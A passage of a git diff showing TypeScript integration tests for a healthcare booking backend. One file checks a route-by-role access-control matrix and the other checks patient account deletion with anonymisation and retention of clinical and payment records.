'lab' }, - }); - } - const res = await request(app) - .post('/auth/login') - .send({ email, password: 'longenough123' }); - if (res.status === 200) tokens[role] = res.body.accessToken as string; - } - } - - async function sendAs(row: MatrixRow, actor: Actor): Promise { - const req = request(app)[row.method.toLowerCase() as 'get'](row.path); - if (actor !== 'anon' && tokens[actor]) { - req.set('Authorization', `Bearer ${tokens[actor]}`); - } - const res = await req; - return res.status; - } - - // ------------------------------------------------------------------------- - // Matrix enforcement - // ------------------------------------------------------------------------- - for (const row of ACCESS_MATRIX) { - const label = `${row.method} ${row.path}`; - for (const actor of ACTORS) { - const expected = row.expected[actor]; - if (expected === undefined) continue; - it(`${label} β†’ ${actor} expects ${expected}`, async () => { - const status = await sendAs(row, actor); - expect(status).toBe(expected); - }); - } - } - - // ------------------------------------------------------------------------- - // Unregistered-route guard: every KNOWN_ROUTES entry must be in the matrix. - // When a new route is registered, add it to KNOWN_ROUTES AND ACCESS_MATRIX; - // this test fails until both are updated, forcing an access-control review. - // ------------------------------------------------------------------------- - it('every known route has a matrix entry (unregistered-route guard)', () => { - const matrixKeys = new Set( - ACCESS_MATRIX.map((r) => `${r.method} ${r.path}`), - ); - const missing = KNOWN_ROUTES.filter((key) => !matrixKeys.has(key)); - expect(missing).toEqual([]); - }); - - it('every matrix entry corresponds to a known route (stale matrix guard)', () => { - const knownSet = new Set(KNOWN_ROUTES); - const stale = ACCESS_MATRIX - .map((r) => `${r.method} ${r.path}`) - .filter((key) => !knownSet.has(key)); - expect(stale).toEqual([]); - }); - - // ------------------------------------------------------------------------- - // IDOR placeholders β€” become real once Phase 2/3 routes exist. - // ------------------------------------------------------------------------- - it("patients cannot read another patient's intake form (IDOR guard)", async () => { - // TODO(issue #1/#2): once intake routes exist, seed two patients with - // intake forms and assert patient A gets 403/404 on patient B's intake. - expect(true).toBe(true); - }); - - it('non-participating doctors cannot act on a consultation (IDOR guard)', async () => { - // The consultation write paths are covered by the matrix rows above (an - // unverified doctor is stopped by the email gate; a verified non-owner - // gets 404, never a 403 that would confirm the appointment exists). Both - // are asserted end-to-end β€” including a real second doctor being refused - // on doctor A's appointment β€” in tests/integration/consultation.test.mts. - // The read route (`GET /consultations/:id`) is in the matrix for - // unauthenticated access only; its owner/patient scoping needs seeded - // rows, which consultation.test.mts also covers. - expect(true).toBe(true); - }); -}); +// Integration tests for access-control: who may read intake, consultation and payment data +// (Phase 8, issue #44). Self-contained embedded Postgres, own port (5438) so it runs +// alongside the other integration files. +// +// This suite establishes a declarative access-control matrix (route Γ— actor β†’ +// expected status) covering every registered route. The matrix is the +// canonical source of truth for who may call what β€” later phases add rows +// instead of inventing their own approach. +// +// The "unregistered route" guard checks against a known-routes list that is +// kept in sync with the actual route registrations in each module's routes/. + +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5438; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-ac-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; + +// --------------------------------------------------------------------------- +// Known routes β€” keep in sync with each module's routes/index.ts registrations. +// --------------------------------------------------------------------------- +const KNOWN_ROUTES = [ + 'GET /health', + 'POST /auth/signup', + 'POST /auth/login', + 'POST /auth/refresh', + 'POST /auth/logout', + 'POST /auth/verify-email', + 'POST /auth/verify-email/resend', + 'POST /auth/login-attempts/clear', + 'GET /doctors/me', + 'PATCH /doctors/:doctorProfileId/verification', + 'GET /availability/doctors/:doctorProfileId/slots', + 'POST /availability/doctors/:doctorProfileId/slots/generate', + 'POST /appointments', + 'GET /appointments/mine', + 'POST /appointments/:appointmentId/consultation', + 'POST /consultations', + 'GET /consultations/:consultationId', + 'POST /payments/wallet-link', + 'GET /payments/wallet-link', + 'POST /orders/consultations', + 'POST /orders/consultations/:consultationId/prescriptions', + 'POST /orders/consultations/:consultationId/lab-orders', + 'POST /pharmacy-orders/:id/fulfill', + 'POST /lab-orders/:id/fulfill', + 'POST /orders/:id/confirm-receipt', + 'POST /orders/:id/dispute', + 'GET /orders/:id', + 'GET /admin/orders/disputes', + 'POST /admin/orders/disputes/:id/resolve', + 'GET /payments/intents/:id', + 'POST /payments/intents/:id/fund', + 'POST /payments/intents/:id/release', + 'POST /payments/intents/:id/refund', + 'POST /patients/me/export', + 'GET /patients/me/export/:exportId', + 'GET /patients/me/export/:exportId/download', + 'POST /patients/me/dependents', + 'GET /patients/me/dependents', +] as const; + +// --------------------------------------------------------------------------- +// Access-control matrix: route Γ— actor β†’ expected status +// --------------------------------------------------------------------------- +type Actor = 'anon' | 'patient' | 'doctor' | 'facility' | 'admin'; + +interface MatrixRow { + method: 'GET' | 'POST' | 'PATCH' | 'PUT' | 'DELETE'; + path: string; + /** Expected HTTP status per actor. Omitted actor β†’ 401 or 403 expected (not asserted). */ + expected: Partial>; +} + +const ACCESS_MATRIX: MatrixRow[] = [ + // Health β€” public + { method: 'GET', path: '/health', expected: { anon: 200, patient: 200, doctor: 200, facility: 200, admin: 200 } }, + + // Auth β€” public signup/login/refresh; logout needs CSRF token (403 without) + // signup/login are tested in seedActors β€” direct assertions below use fresh emails + { method: 'POST', path: '/auth/signup', expected: { anon: 400 } }, // seeded email reused β†’ 400 duplicate + { method: 'POST', path: '/auth/login', expected: { anon: 400 } }, // seeded email + wrong body β†’ 400 + { method: 'POST', path: '/auth/refresh', expected: { anon: 401 } }, + { method: 'POST', path: '/auth/logout', expected: { anon: 403, patient: 403 } }, + { method: 'POST', path: '/auth/verify-email', expected: { anon: 400 } }, // missing token field β†’ 400 + { method: 'POST', path: '/auth/verify-email/resend', expected: { anon: 401 } }, // authenticated 200/429 varies by rate limit + { method: 'POST', path: '/auth/login-attempts/clear', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 400 } }, // admin-only; missing body β†’ 400 + + // Doctors β€” GET /me is doctor-only; verification is admin-only + { method: 'GET', path: '/doctors/me', expected: { anon: 401, patient: 403, doctor: 200, facility: 403, admin: 403 } }, + { method: 'PATCH', path: '/doctors/:doctorProfileId/verification', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 400 } }, // admin passes role gate; placeholder id β†’ validation 400 + + // Availability β€” slots browsing public; generation requires verified doctor + { method: 'GET', path: '/availability/doctors/:doctorProfileId/slots', expected: { anon: 200, patient: 200, doctor: 200, facility: 200, admin: 200 } }, + { method: 'POST', path: '/availability/doctors/:doctorProfileId/slots/generate', expected: { anon: 401, patient: 403, doctor: 404, facility: 403, admin: 403 } }, + + // Appointments β€” POST is patient-only (verified email); GET /mine is patient-only + { method: 'POST', path: '/appointments', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, // patient unverified β†’ 403 EMAIL_NOT_VERIFIED + { method: 'GET', path: '/appointments/mine', expected: { anon: 401, patient: 200, doctor: 403, facility: 403, admin: 403 } }, + + // Consultations (issue #4) β€” closing is doctor-only, verified-email gated + // and only for the doctor's own appointment. The seeded doctor is + // unverified, so the email gate answers 403 before the service can answer + // 404; the own-appointment 404 (never a 403 that would confirm the + // appointment exists) is asserted in consultation.test.mts. + { method: 'POST', path: '/appointments/:appointmentId/consultation', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, + { method: 'POST', path: '/consultations', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, + { method: 'GET', path: '/consultations/:consultationId', expected: { anon: 401, patient: 404, doctor: 404, facility: 404, admin: 404 } }, + + // Orders: doctor-only and verified-email gated. + { method: 'POST', path: '/orders/consultations', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, + { method: 'POST', path: '/orders/consultations/:consultationId/prescriptions', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, + { method: 'POST', path: '/orders/consultations/:consultationId/lab-orders', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, + + // Pharmacy & Lab Orders fulfillment β€” facility-only + { method: 'POST', path: '/pharmacy-orders/:id/fulfill', expected: { anon: 401, patient: 403, doctor: 403, facility: 404, admin: 403 } }, + { method: 'POST', path: '/lab-orders/:id/fulfill', expected: { anon: 401, patient: 403, doctor: 403, facility: 404, admin: 403 } }, + + // Patient Order Confirm & Dispute β€” patient-only + { method: 'POST', path: '/orders/:id/confirm-receipt', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, + { method: 'POST', path: '/orders/:id/dispute', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, + { method: 'GET', path: '/orders/:id', expected: { anon: 401, patient: 404, doctor: 404, facility: 404, admin: 404 } }, + + // Admin Order Disputes β€” admin-only + { method: 'GET', path: '/admin/orders/disputes', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 200 } }, + { method: 'POST', path: '/admin/orders/disputes/:id/resolve', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, + + // Payments β€” admin-triggered in v1; wallet-link is facility-only + { method: 'POST', path: '/payments/wallet-link', expected: { anon: 401, patient: 403, doctor: 403, facility: 400, admin: 403 } }, + { method: 'GET', path: '/payments/wallet-link', expected: { anon: 401, patient: 403, doctor: 403, facility: 404, admin: 403 } }, + { method: 'GET', path: '/payments/intents/:id', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, + { method: 'POST', path: '/payments/intents/:id/fund', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, + { method: 'POST', path: '/payments/intents/:id/release', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, + { method: 'POST', path: '/payments/intents/:id/refund', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, + + // Patient data export (issue #40) β€” patient-only and self-only; no + // on-behalf-of route for doctors/admins. A placeholder id is "not yours" β†’ 404. + { method: 'POST', path: '/patients/me/export', expected: { anon: 401, patient: 202, doctor: 403, facility: 403, admin: 403 } }, + { method: 'GET', path: '/patients/me/export/:exportId', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, + { method: 'GET', path: '/patients/me/export/:exportId/download', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, + // Dependents (issue #42) β€” patients only. Creating one needs a verified + // email (this suite's patient is unverified β†’ 403 EMAIL_NOT_VERIFIED). + { method: 'POST', path: '/patients/me/dependents', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, + { method: 'GET', path: '/patients/me/dependents', expected: { anon: 401, patient: 200, doctor: 403, facility: 403, admin: 403 } }, +]; + +const ACTORS: Actor[] = ['anon', 'patient', 'doctor', 'facility', 'admin']; + +describe('Access-control test suite: who may read intake, consultation and payment data', () => { + let app: App; + let prisma: Prisma; + + const tokens: Partial> = {}; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + await seedActors(); + }); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + async function seedActors() { + // Patient + doctor via self-serve signup + for (const role of ['patient', 'doctor'] as const) { + const email = `ac-${role}-${runId}@example.com`; + const res = await request(app) + .post('/auth/signup') + .send({ role, email, password: 'longenough123', fullName: `AC ${role}` }); + if (res.status === 200) tokens[role] = res.body.accessToken as string; + } + + // Facility + admin via direct DB insert (not self-serve per PRD OQ-2) + const bcryptjs = await import('bcryptjs'); + const passwordHash = await bcryptjs.hash('longenough123', 4); + + for (const role of ['facility', 'admin'] as const) { + const email = `ac-${role}-${runId}@example.com`; + const user = await prisma.user.create({ + data: { email, passwordHash, role, emailVerifiedAt: new Date() }, + }); + if (role === 'facility') { + await prisma.facilityProfile.create({ + data: { userId: user.id, name: `AC Facility ${runId}`, type: 'lab' }, + }); + } + const res = await request(app) + .post('/auth/login') + .send({ email, password: 'longenough123' }); + if (res.status === 200) tokens[role] = res.body.accessToken as string; + } + } + + async function sendAs(row: MatrixRow, actor: Actor): Promise { + const req = request(app)[row.method.toLowerCase() as 'get'](row.path); + if (actor !== 'anon' && tokens[actor]) { + req.set('Authorization', `Bearer ${tokens[actor]}`); + } + const res = await req; + return res.status; + } + + // ------------------------------------------------------------------------- + // Matrix enforcement + // ------------------------------------------------------------------------- + for (const row of ACCESS_MATRIX) { + const label = `${row.method} ${row.path}`; + for (const actor of ACTORS) { + const expected = row.expected[actor]; + if (expected === undefined) continue; + it(`${label} β†’ ${actor} expects ${expected}`, async () => { + const status = await sendAs(row, actor); + expect(status).toBe(expected); + }); + } + } + + // ------------------------------------------------------------------------- + // Unregistered-route guard: every KNOWN_ROUTES entry must be in the matrix. + // When a new route is registered, add it to KNOWN_ROUTES AND ACCESS_MATRIX; + // this test fails until both are updated, forcing an access-control review. + // ------------------------------------------------------------------------- + it('every known route has a matrix entry (unregistered-route guard)', () => { + const matrixKeys = new Set( + ACCESS_MATRIX.map((r) => `${r.method} ${r.path}`), + ); + const missing = KNOWN_ROUTES.filter((key) => !matrixKeys.has(key)); + expect(missing).toEqual([]); + }); + + it('every matrix entry corresponds to a known route (stale matrix guard)', () => { + const knownSet = new Set(KNOWN_ROUTES); + const stale = ACCESS_MATRIX + .map((r) => `${r.method} ${r.path}`) + .filter((key) => !knownSet.has(key)); + expect(stale).toEqual([]); + }); + + // ------------------------------------------------------------------------- + // IDOR placeholders β€” become real once Phase 2/3 routes exist. + // ------------------------------------------------------------------------- + it("patients cannot read another patient's intake form (IDOR guard)", async () => { + // TODO(issue #1/#2): once intake routes exist, seed two patients with + // intake forms and assert patient A gets 403/404 on patient B's intake. + expect(true).toBe(true); + }); + + it('non-participating doctors cannot act on a consultation (IDOR guard)', async () => { + // The consultation write paths are covered by the matrix rows above (an + // unverified doctor is stopped by the email gate; a verified non-owner + // gets 404, never a 403 that would confirm the appointment exists). Both + // are asserted end-to-end β€” including a real second doctor being refused + // on doctor A's appointment β€” in tests/integration/consultation.test.mts. + // The read route (`GET /consultations/:id`) is in the matrix for + // unauthenticated access only; its owner/patient scoping needs seeded + // rows, which consultation.test.mts also covers. + expect(true).toBe(true); + }); +}); diff --git a/backend/tests/integration/account-deletion.test.mts b/backend/tests/integration/account-deletion.test.mts index eec2e295..e796cb21 100644 --- a/backend/tests/integration/account-deletion.test.mts +++ b/backend/tests/integration/account-deletion.test.mts @@ -1,447 +1,447 @@ -// Integration tests for account deletion with clinical-record retention -// (Phase 8, issue #41, docs/adr/0010), against a populated database: -// password re-confirmation, PII anonymised, login/refresh deactivated, the -// original address reusable, appointments + payments surviving byte-for-byte, -// the RESTRICT foreign keys, idempotency (repeat and concurrent), and the -// tombstone purge touching eligible rows only. Self-contained, same -// embedded-Postgres pattern as booking.test.mts. Own port (5453). -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it, onTestFinished } from 'vitest'; -import request from 'supertest'; -import bcrypt from 'bcryptjs'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5453; -const runId = Date.now(); -const PASSWORD = 'longenough123'; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-deletion-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; -type PatientsService = typeof import('../../src/modules/patients/services/index.js'); - -interface Patient { - email: string; - userId: string; - profileId: string; - token: string; - csrfToken: string; - refreshCookie: string; -} - -const emailedTokens = new Map(); - -describe('account deletion with clinical-record retention', () => { - let app: App; - let prisma: Prisma; - let patients: PatientsService; - let doctorToken: string; - let doctorProfileId: string; - let facilityId: string; - let alice: Patient; // has an appointment + payments - let bob: Patient; // unrelated, must be untouched - let carol: Patient; // no records, unverified - let dave: Patient; // no records, deleted recently - let erin: Patient; // used for the throttle test - - async function signup(role: 'patient' | 'doctor', label: string, verify = true) { - const email = `${label}-${runId}@example.com`; - const res = await request(app).post('/auth/signup').send({ role, email, password: PASSWORD, fullName: `${label} Fullname` }); - expect(res.status).toBe(200); - if (verify) { - const verified = await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) }); - expect(verified.status).toBe(200); - } - const cookie = (res.headers['set-cookie'] as unknown as string[]).find((c) => c.startsWith('docforum_refresh='))!; - return { - email, - userId: res.body.user.id as string, - token: res.body.accessToken as string, - csrfToken: res.body.csrfToken as string, - refreshCookie: cookie.split(';')[0]!, - }; - } - - async function signupPatient(label: string, verify = true): Promise { - const user = await signup('patient', label, verify); - const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: user.userId } }); - return { ...user, profileId: profile.id }; - } - - function deleteAccount(patient: Patient, body: object | undefined) { - const req = request(app).delete('/patients/me').set('Authorization', `Bearer ${patient.token}`); - return body === undefined ? req : req.send(body); - } - - async function snapshotRecords(profileId: string) { - return { - appointments: await prisma.appointment.findMany({ where: { patientProfileId: profileId }, orderBy: { id: 'asc' } }), - payments: await prisma.paymentIntent.findMany({ where: { patientProfileId: profileId }, orderBy: { id: 'asc' } }), - }; - } - - async function snapshotAccount(p: Patient) { - return { - user: await prisma.user.findUnique({ where: { id: p.userId } }), - profile: await prisma.patientProfile.findUnique({ where: { id: p.profileId } }), - ...(await snapshotRecords(p.profileId)), - }; - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - process.env.ACCOUNT_PURGE_GRACE_HOURS = '24'; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const authServices = await import('../../src/modules/auth/services/index.js'); - patients = await import('../../src/modules/patients/services/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - authServices.setEmailSender(async (message) => { - const match = /[?&]token=([^&\s]+)/.exec(message.text); - if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); - }); - - const doctor = await signup('doctor', 'deletion-doctor'); - doctorToken = doctor.token; - doctorProfileId = (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctor.userId } })).id; - - alice = await signupPatient('alice'); - bob = await signupPatient('bob'); - carol = await signupPatient('carol', false); - dave = await signupPatient('dave'); - erin = await signupPatient('erin'); - - // Populate the fields that must be anonymised, beyond what signup sets. - for (const p of [alice, bob]) { - await prisma.user.update({ where: { id: p.userId }, data: { phone: '+2348000000000' } }); - await prisma.patientProfile.update({ - where: { id: p.profileId }, - data: { dateOfBirth: new Date('1990-05-01') }, - }); - } - - // Real bookings through the API for Alice and Bob. - const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); - await request(app) - .post(`/availability/doctors/${doctorProfileId}/slots/generate`) - .set('Authorization', `Bearer ${doctorToken}`) - .send({ date: tomorrow, startHour: 9, endHour: 11, slotLengthMinutes: 30 }); - const slots = (await request(app).get(`/availability/doctors/${doctorProfileId}/slots`)).body as { id: string }[]; - for (const [i, p] of [alice, bob].entries()) { - const booked = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${p.token}`) - .send({ availabilitySlotId: slots[i]!.id }); - expect(booked.status).toBe(201); - } - - const facilityUser = await prisma.user.create({ data: { email: `lab-${runId}@example.com`, passwordHash: 'x', role: 'facility' } }); - facilityId = (await prisma.facilityProfile.create({ data: { userId: facilityUser.id, name: 'Lab', type: 'lab' } })).id; - for (const p of [alice, bob]) { - // Main replaced PaymentIntent's polymorphic `orderType`/`orderId` with - // real `Prescription`/`LabOrder` FKs under a "exactly one order" CHECK - // (issue #85), so build the chain consultation -> lab order -> intent - // on the appointment this test already booked (no extra appointments: - // the counts below are part of what is asserted). - const appointment = await prisma.appointment.findFirstOrThrow({ where: { patientProfileId: p.profileId } }); - const consultation = await prisma.consultation.create({ data: { appointmentId: appointment.id } }); - const labOrder = await prisma.labOrder.create({ - data: { - consultationId: consultation.id, - patientProfileId: p.profileId, - orderingDoctorId: doctorProfileId, - facilityProfileId: facilityId, - amountStroops: 1000n, - testType: 'Test panel', - }, - }); - await prisma.paymentIntent.create({ - data: { - labOrderId: labOrder.id, - patientProfileId: p.profileId, - facilityId, - amount: 1000n, - assetCode: 'XLM', - status: 'escrowed', - escrowId: 7n, - stellarTxHash: 'f'.repeat(64), - }, - }); - } - - // One failed login for Alice, so a throttle bucket keyed by her address exists. - const failed = await request(app).post('/auth/login').send({ email: alice.email, password: 'wrong-password' }); - expect(failed.status).toBe(401); - }, 180_000); - - afterAll(async () => { - const authServices = await import('../../src/modules/auth/services/index.js'); - authServices.resetEmailSender(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('rejects a missing or wrong password and non-patients, changing nothing', async () => { - const before = await snapshotAccount(alice); - expect((await deleteAccount(alice, undefined)).status).toBe(400); - expect((await deleteAccount(alice, { password: '' })).status).toBe(400); - const wrong = await deleteAccount(alice, { password: 'not-my-password' }); - expect(wrong.status).toBe(403); - expect(wrong.body).toEqual({ message: 'Password confirmation failed.', code: 'PASSWORD_CONFIRMATION_FAILED' }); - - const asDoctor = await request(app).delete('/patients/me').set('Authorization', `Bearer ${doctorToken}`).send({ password: PASSWORD }); - expect(asDoctor.status).toBe(403); - expect((await request(app).delete('/patients/me').send({ password: PASSWORD })).status).toBe(401); - - const after = await snapshotAccount(alice); - expect({ ...after, user: { ...after.user, updatedAt: null } }).toEqual({ ...before, user: { ...before.user, updatedAt: null } }); - }); - - it('counts wrong confirmations against the login throttle', async () => { - // Every request in this file comes from the same loopback IP, so the - // per-IP bucket is shared; isolate this test to the per-account bucket. - const clearIpBuckets = async () => { - await prisma.loginAttempt.deleteMany({ where: { scope: 'ip' } }); - }; - await clearIpBuckets(); - onTestFinished(clearIpBuckets); - const statuses: number[] = []; - for (let i = 0; i < 4; i += 1) statuses.push((await deleteAccount(erin, { password: 'guess' })).status); - expect(statuses.slice(0, 2)).toEqual([403, 403]); - const throttled = await deleteAccount(erin, { password: PASSWORD }); - expect(throttled.status).toBe(429); - expect(Number(throttled.headers['retry-after'])).toBeGreaterThan(0); - // Still not deleted. - expect((await prisma.user.findUniqueOrThrow({ where: { id: erin.userId } })).deletedAt).toBeNull(); - }); - - it('anonymises identity and keeps appointments and payments byte-for-byte', async () => { - const recordsBefore = await snapshotRecords(alice.profileId); - expect(recordsBefore.appointments).toHaveLength(1); - expect(recordsBefore.payments).toHaveLength(1); - const oldHash = (await prisma.user.findUniqueOrThrow({ where: { id: alice.userId } })).passwordHash; - expect(await prisma.emailVerificationToken.count({ where: { userId: alice.userId } })).toBeGreaterThan(0); - expect(await prisma.loginAttempt.count({ where: { scope: 'email', key: alice.email.toLowerCase() } })).toBe(1); - - const res = await deleteAccount(alice, { password: PASSWORD }); - expect(res.status).toBe(204); - - const user = await prisma.user.findUniqueOrThrow({ where: { id: alice.userId } }); - expect(user.email).toBe(`deleted+${alice.userId}@deleted.invalid`); - expect(user.phone).toBeNull(); - expect(user.emailVerifiedAt).toBeNull(); - expect(user.deletedAt).toBeInstanceOf(Date); - expect(user.passwordHash).not.toBe(oldHash); - expect(await bcrypt.compare(PASSWORD, user.passwordHash)).toBe(false); - - const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { id: alice.profileId } }); - expect(profile).toMatchObject({ fullName: 'Deleted patient', dateOfBirth: null }); - expect(profile.anonymizedAt?.getTime()).toBe(user.deletedAt!.getTime()); - - // No personal field survives anywhere on the two rows. - const rows = JSON.stringify({ user, profile }); - for (const pii of [alice.email, 'alice Fullname', '+2348000000000', '1990-05-01']) expect(rows).not.toContain(pii); - - expect(await prisma.emailVerificationToken.count({ where: { userId: alice.userId } })).toBe(0); - expect(await prisma.loginAttempt.count({ where: { scope: 'email', key: alice.email.toLowerCase() } })).toBe(0); - - // Clinical and payment records: identical, still linked to the profile. - expect(await snapshotRecords(alice.profileId)).toEqual(recordsBefore); - // The slot link is nullable since main made cancellations release it - // (Phase 3); this appointment was never cancelled, so it still points at one. - const slotId = recordsBefore.appointments[0]!.availabilitySlotId; - expect(slotId).not.toBeNull(); - const slot = await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slotId! } }); - expect(slot.status).toBe('booked'); - }); - - it('deactivates login, refresh and every patient route for the old session', async () => { - const login = await request(app).post('/auth/login').send({ email: alice.email, password: PASSWORD }); - expect(login.status).toBe(401); - const tombstoneLogin = await request(app) - .post('/auth/login') - .send({ email: `deleted+${alice.userId}@deleted.invalid`, password: PASSWORD }); - expect(tombstoneLogin.status).toBe(401); - - const refresh = await request(app) - .post('/auth/refresh') - .set('Cookie', alice.refreshCookie) - .set('X-CSRF-Token', alice.csrfToken); - expect(refresh.status).toBe(401); - - // The access token is a stateless JWT still inside its TTL (no revocation - // list yet, issue #18) β€” but nothing reachable with it. - const mine = await request(app).get('/appointments/mine').set('Authorization', `Bearer ${alice.token}`); - expect(mine.status).toBe(404); - const slots = (await request(app).get(`/availability/doctors/${doctorProfileId}/slots`)).body as { id: string }[]; - const book = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${alice.token}`) - .send({ availabilitySlotId: slots[0]!.id }); - expect(book.status).toBe(403); - expect(book.body.code).toBe('EMAIL_NOT_VERIFIED'); - }); - - it('frees the original address for a brand-new, empty signup', async () => { - const res = await request(app).post('/auth/signup').send({ role: 'patient', email: alice.email, password: 'another-password', fullName: 'New Alice' }); - expect(res.status).toBe(200); - expect(res.body.user.id).not.toBe(alice.userId); - const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: res.body.user.id } }); - expect(profile.id).not.toBe(alice.profileId); - expect(await prisma.appointment.count({ where: { patientProfileId: profile.id } })).toBe(0); - // The new account can log in; the old one still can't be reached. - expect((await request(app).post('/auth/login').send({ email: alice.email, password: 'another-password' })).status).toBe(200); - }); - - it('is idempotent: a repeat deletion is a no-op, concurrent ones anonymise once', async () => { - const before = await snapshotAccount(alice); - for (const password of [PASSWORD, 'anything']) { - expect((await deleteAccount(alice, { password })).status).toBe(204); - } - expect(await snapshotAccount(alice)).toEqual(before); - - const [first, second] = await Promise.all([deleteAccount(dave, { password: PASSWORD }), deleteAccount(dave, { password: PASSWORD })]); - expect([first.status, second.status]).toEqual([204, 204]); - const user = await prisma.user.findUniqueOrThrow({ where: { id: dave.userId } }); - expect(user.deletedAt).not.toBeNull(); - expect(user.email).toBe(`deleted+${dave.userId}@deleted.invalid`); - }); - - it('lets an unverified account delete itself', async () => { - expect((await deleteAccount(carol, { password: PASSWORD })).status).toBe(204); - expect((await prisma.patientProfile.findUniqueOrThrow({ where: { id: carol.profileId } })).anonymizedAt).not.toBeNull(); - }); - - it('enforces RESTRICT: a deleted patient with records cannot be hard-deleted by accident', async () => { - // Each refusal is checked with the same classifier the purge uses as its - // race backstop, against the error Postgres actually raises. - const refusal = (promise: Promise) => - promise.then( - () => 'deleted', - (err) => (patients.isForeignKeyRefusal(err) ? 'refused' : `other: ${String(err)}`), - ); - expect(await refusal(prisma.user.delete({ where: { id: alice.userId } }))).toBe('refused'); - expect(await refusal(prisma.patientProfile.delete({ where: { id: alice.profileId } }))).toBe('refused'); - // Even a patient with no records: the User row can't go while its profile exists. - expect(await refusal(prisma.user.delete({ where: { id: carol.userId } }))).toBe('refused'); - // And the purge's own delete path is refused for a profile with records. - expect( - await refusal(prisma.$transaction((tx) => tx.patientProfile.deleteMany({ where: { id: alice.profileId } }))), - ).toBe('refused'); - expect(await prisma.user.count({ where: { id: { in: [alice.userId, carol.userId] } } })).toBe(2); - }); - - it('purges only record-free tombstones past the grace period, and is safe to re-run', async () => { - const bobBefore = await snapshotAccount(bob); - const aliceRecords = await snapshotRecords(alice.profileId); - // Carol deleted long ago; Dave just now (inside the grace period). - const longAgo = new Date(Date.now() - 48 * 60 * 60 * 1000); - await prisma.patientProfile.update({ where: { id: carol.profileId }, data: { anonymizedAt: longAgo } }); - await prisma.patientProfile.update({ where: { id: alice.profileId }, data: { anonymizedAt: longAgo } }); - - const result = await patients.purgeDeletedPatientAccounts(); - expect(result).toEqual({ purged: 1, held: 1, failed: 0 }); - - expect(await prisma.user.findUnique({ where: { id: carol.userId } })).toBeNull(); - expect(await prisma.patientProfile.findUnique({ where: { id: carol.profileId } })).toBeNull(); - // Dave: still inside the grace period. - expect(await prisma.patientProfile.findUnique({ where: { id: dave.profileId } })).not.toBeNull(); - // Alice: has records, kept with them. - expect(await prisma.patientProfile.findUnique({ where: { id: 